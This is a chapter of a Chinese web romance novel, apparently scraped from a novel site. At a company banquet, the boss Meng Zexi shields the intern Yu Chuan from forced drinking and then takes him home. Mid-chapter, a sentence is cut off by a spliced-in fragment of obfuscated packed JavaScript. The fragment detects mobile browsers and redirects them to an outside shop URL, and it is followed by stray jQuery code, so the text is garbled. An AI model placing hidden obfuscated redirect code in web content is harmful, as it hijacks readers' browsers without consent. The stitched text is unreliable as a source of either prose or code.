风竹小说 > 都市言情 > 豪门鳏夫认错老公后 > 14. 第 14 章
    一旁好心的同事再次小声提醒道:

    “喻川,孟总点你呢。”

    “啊?”

    我?

    喻川终于直起身子。

    只见男人的手越过所有人,正直勾勾指向自己。

    “过来。”

    “啊。”

    喻川眨巴眨巴眼。

    桌上其他人大眼瞪小眼。

    孟泽西的轮椅可以调节高度,所以不用来回换椅子这么麻烦,因此旁边刚好多出来一个空位。

    可喻川就算再不懂人情世故也知道,这位子绝对不是他这种非正式的小员工能坐的。

    更何况,公事公论,那上面坐着的人,不止是自家公司的孟总,还有合作方谈老板……

    一旁的谈靖斐见喻川没动静,连忙帮腔道:“让你来你就来呗。”

    想不到谈老板竟然是这个态度,惊讶之余,旁人心想,既然连他都已经这么说了,只好跟队劝喻川过去坐。

    喻川大脑飞速运转,虽然他不懂酒桌文化,但也能意识到这个位置肯定不是他配坐的,可话又说回来,要是他拒绝过去,算是不听老板话,还是不听老婆话?

    呃。

    这两种貌似都挺可怕。

    刚刚喝过的酒似乎开始发挥作用,喻川头微微昏胀,脸颊醺红,顶着无数道视线,起身默默挪到了孟泽西旁边的位子上,低下头假装别人看不见自己。

    好在只是一个实习生换位子,并不能改变饭局重点,大家都尚且认为是孟泽西和谈井斐闹着玩的。

    谁摸得清领导的思想呢?

    何况还有正事。

    因此桌上的人聊了一会儿商业蓝图,就把喻川换座位的事给遗忘了。

    实际上喻川这样一来,场子气氛反而活跃了许多。

    不少实习生因此觉得这个孟总还挺亲切,非但没有一上来就难为他们,还对他们一视同仁,完全没有做老板和顶头上司的架子。

    孟泽西一经出现就代替谈老板成为了话题中心,每个人几乎都要端着酒敬上两句,菜上齐以后,他动了筷子,别人才开始吃,有了吃的,场面才终于不那么叽里呱啦。

    喻川揉了揉太阳穴。

    也许只有他一个人觉得叽里呱啦,因为他头有些晕。

    晕头转向中,一只带着钻戒的纤细白手在桌底缓缓移入他的视线,给过来一个中号保温杯。

    “喝吧,解酒。”

    孟泽西冰冷的语气略带一丝不悦。

    喻川伸手去拿,在空气里抓了一下,没抓到杯子,再要去抓,却听到孟泽西冷笑。

    “喝成这样。”

    喻川缩了一下,稳稳接过保温杯,知道自己没报备有错,那就得受着,却还是小声狡辩道:“就只给我们喝酒。”

    他拧开盖子,惊喜地发现里面盛的是用柠檬蜂蜜做的甜水,尝了尝,居然比饭店里的柠檬水还好喝。

    孟泽西没什么胃口,低声说道:

    “我看看。”

    “嗯?”

    喻川面颊红润,没明白孟泽西的意思,不明所以地转头,将自己的脸送到他面前,大概距离三厘米的地方,方便他看自己。

    “醉鬼,”孟泽西忍不住轻微勾了勾唇角,推他一把,“我看看烫哪了?”

    原来是这个。

    不过他没醉呢。

    喻川缩回到原位,摊开手到他跟前,被烫的地方很显眼,因为掉了一层皮。

    “已经没事了。”

    孟泽西将视线略去,看到伤口比想象的严重,微微讶然。

    “疼吗?”

    “没感觉。”

    “酒精麻痹神经,让你喝这么多。”

    “可是真的,只许喝酒。”

    孟泽西没再多说什么,他回头将桌面环视一圈,发现的确只有酒,皱了皱眉,问:“饮料呢?”

    他音量不高,但因为是他说的话,不少人都留意到了。

    张总经理没听清,“您说什么?”

    孟泽西没说话。

    立刻有人替他回答:“孟总问饮料在哪。”

    张总睁大眼睛,眼珠转了转,谄媚地笑道:“还没点,不知道您爱喝什么。”

    喻川瞥了眼其他几个实习生,他们和他一样也不敢说话,刚来聚会的时候,张总可是明令禁止大家喝饮料的,尤其是他们这些实习生,必须喝的比他还多才能体现诚意。

    孟泽西冷不丁问:“喝什么?”

    张总经理:“这……我不知道,您爱喝什么咱就点什么,要是这里没有,我让他们出去买,就算是在美利坚我也想办法今晚让您喝上。”

    他话音刚落。

    喻川:“橙汁。”

    他的声音不大不小,刚好够安静下来的全桌人都听到。

    张总经理拍了拍桌子,“你别跟着瞎掺和,让孟总说……”

    喻川无辜。

    孟泽西刚才不就是在问他吗?

    除了他,还会问谁?

    下一秒。

    孟泽西一拍桌子,“听他的,橙汁。”

    张总经理愣住。

    他拍的这下桌子,像是回敬给自己的,但还是很快接受了现实,“好,我这就去说一声。”

    喻川听到其他实习生们在很小声地欢呼,忍不住勾起唇角。

    这是算是一场庆功宴,其他人在谈生意的事,喻川从他们的言语之间多少能听明白些逻辑,对孟泽西有了更进一步的了解。

    孟泽西是总公司现任总裁,他的爷爷才是整个集团的实际控股人,这次他回国,爷爷明确准备让他接手管理公司。

    而喻川所在的公司其实是企业刚分出来的子公司,目前由张总经理经营全部事务,暂且没有更高一级的领头羊,由于是刚分出来的,当前还没什么业绩,全都仰仗着孟泽西手里分出来的项目代理。

    最近启动的新项目,谈老板也参与了合作,进展顺利,今晚的酒席就是为了庆祝这个。

    原本他们只是象征性地请了请孟泽西。

    孟泽西那边也是不出所料地把庆功宴给推掉了,结果,半路突然折返……

    喻川有点儿犯困了。

    在他听那些人聊一些听不懂的事,而打了第七个哈欠之后。

    张总经理忽然端着酒站了起来。

    他有种不好的预感。

    那边,张总经理脸上带笑,对孟泽西说道:“孟总,最近咱们公司添加了不少新鲜血液,个个都是人才,要不趁这个机会,让这些新人表现一下自己,给您解解闷儿。”

    他说完,公司里其他狗腿开始应和。

    又来——

    喻川烦躁的不行。

    场面逐渐变得热闹,却热闹得诡异,也不知道这群人是真的在给实习生机会,还是想看一场无权群体被任意摆弄的笑话。

    建议说完,孟泽西没说话,张总经理的视线已经在围绕着实习生区域转动,最后跨过大半张桌子,落到了喻川身上。

    “来,喻川离您最近,先让他说。”

    喻川:“……”

    他就知道。

    看来真是被这位领带盯上了。

    喻川晕了吧唧地想要站起来,却被旁边伸出来的一只手按回座位上。

    有的人脸上狡黠的笑意瞬间散去。

    孟泽西收回手,清了清嗓。

    屋里瞬间没人再讲话,安静得不行。

    他微微蹙眉,语气平静。

    “难为小朋友算什么?公司刚起步,我还不怎么了解你们这些领导层的“大人物”,要不这样,从你开始,挨个介绍下自己。正好我们的合作方谈老板也在,趁这个机会给他解解闷儿,了解一下你们这些人,一个个的都有些什么本事。”

    好一阵阴阳怪气。

    闻言,每个领导层的脸都绿成了苦瓜。

    谈靖斐:“……”

    论眼力见儿的重要性。

    作为孟泽西的发小,他是再了解不过这个人,平时为人谦逊有礼,对谁都敬让三分,但实际上,白色的薄皮黑色的饱馅儿,在那种压力顶破天的家庭环境下,心理早就扭曲成方便面了。

    今晚

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|17048840|194779||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    ,就算孟泽西不说,他也一眼能看出这位要罩的是哪个。

    怎么有些人偏偏不长眼呢?

    从小到大,孟泽西大部分时间都一副无所谓的模样,但只要是发话,就说一不二,也没人敢造次。

    至于这些人……自认倒霉吧。

    喻川默默喝了一口香甜的解酒饮料,从杯子举起时的狭缝中,悄悄感激地看向孟泽西。

    原来孟泽西在外是这样的形象。

    有威严有气场,不禁让人联想到……那晚的亮红色皮鞋底。

    跟以前动不动就掉小珍珠的样子差距大得可不是一点半点。

    热火朝天的领导自我介绍环节结束后,酒席即将散场,不巧的是,外面依旧下着倾盆大雨,喻川去了趟厕所,洗手的时候,坐在他身边的那位实习生也出来洗手,见到他,立即问道:

    “喻川,你今晚怎么回去?”

    喻川边洗手边随口回答:“打车。”

    因为来的时候就是打车来的,原本计划也是打车走。

    但他猛地想起什么。

    孟泽西。

    孟泽西来了啊,他待会儿应该是跟着孟泽西的车回去。

    实习生闻言:“嘿,那太巧了,我也打车回家。我看你来的时候也是从那边,要不咱俩回去的时候拼一辆吧。”

    喻川连忙拒绝,“不行。”

    “为什么?”

    “因为——我拼好了。”

    “啊,这样,那好吧,我再问问别人。”

    ……

    临走的时候,孟泽西先上了车,车子往前开了段距离,到了个没什么人的地方,等人散的差不多了,喻川才顶着雨一路小跑跟上来。

    在附近打车的实习生亲眼目睹喻川上了孟总的车,震碎三观。

    天呐,难怪喻川不跟他走。

    原来是要跟大老板拼!!!

    倾盆大雨落下。

    车内。

    喻川酒劲儿还没散,身上燥热异常,感觉空调温度有些低,冷风透过领口钻进脖子里,又凉又痒,他被安排坐在舒适的后座休息,却不想合上眼皮,总是偷偷去瞄身边的男人。

    不敢想,要是没有孟泽西,他今晚喝多了会沦落怎样。

    喻川频繁更换姿势,怎么都不舒服。

    孟泽西目视前方。

    “马上到家了。”

    喻川会心一笑,“嗯。”

    “认家了?”

    “……”

    这话说的好像他是只走丢的小狗。

    他搭在腿上的手却在细微之处暴露着跳跃的情绪,指头不断地点点点,直到被一只冰凉骨感的手锁住手腕,越发用力地攥住。

    孟泽西眼底微红,语气也冰冷地说道:

    “以后,不许再像今天这样。”

    喻川垂眸看着两人织在一起的手,下定决心似的反握住。

    “嗯,我知道。”

    孟泽西越发用力,像是要用自己手心的温度,将那抹寒气逼散。

    喻川被捏的散了力气。

    “我向你道歉。”

    他深呼吸。

    “对不起。”

    “今天是特殊情况,以后不会了。”

    “但是我向你保证,绝对不是因为你前几天对我比较冷漠,才故意放你鸽子的。”

    孟泽西:“……”

    本来还没联想在一起。

    这下前因后果都帮他联系起来了。

    喻川见他脸色并没缓解多少,手指被捏的发疼,低声继续解释道:“我平时都是一个人,所以没有报备的习惯,让你担心了,真的很抱歉。”

    孟泽西胸前起伏,缓缓吐出一口气,见他态度还算真诚,淡淡道:“我原谅你。”

    喻川松了口气。

    忽然,又听孟泽西说道,“今晚你自己睡。”

    “……”

    说好的原谅。

    怎么还带条件的?

    虽然从没想过一起睡这件事,但被明确告知后,居然有点儿失望,觉得被惩罚了是怎么回事……